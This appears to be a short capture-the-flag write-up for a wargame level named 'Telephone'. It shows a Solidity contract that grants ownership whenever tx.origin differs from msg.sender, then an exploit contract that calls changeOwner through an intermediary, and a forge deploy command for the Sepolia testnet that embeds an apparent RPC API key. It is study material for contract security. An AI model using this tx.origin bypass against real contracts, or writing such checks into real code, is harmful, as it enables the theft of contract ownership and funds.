728x90
Description
Claim ownership of the contract below to complete this level.
Things that might help
- See the "?" page above, section "Beyond the console"
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract Exploit {
ITelephone public telephone;
constructor() {
telephone = ITelephone(0x7515FaA1F2d73E5605ac83f42175684e1d55205F);
telephone.changeOwner(0xe1Db74d252b6B52f701983546a1736476a14f164);
}
}
forge create --rpc-url <https://eth-sepolia.g.alchemy.com/v2/kgBn5_xyC1CfARkV_HgFNjF8UeVLwE9f> --private-key {private-key} Exploit.sol:Exploit
728x90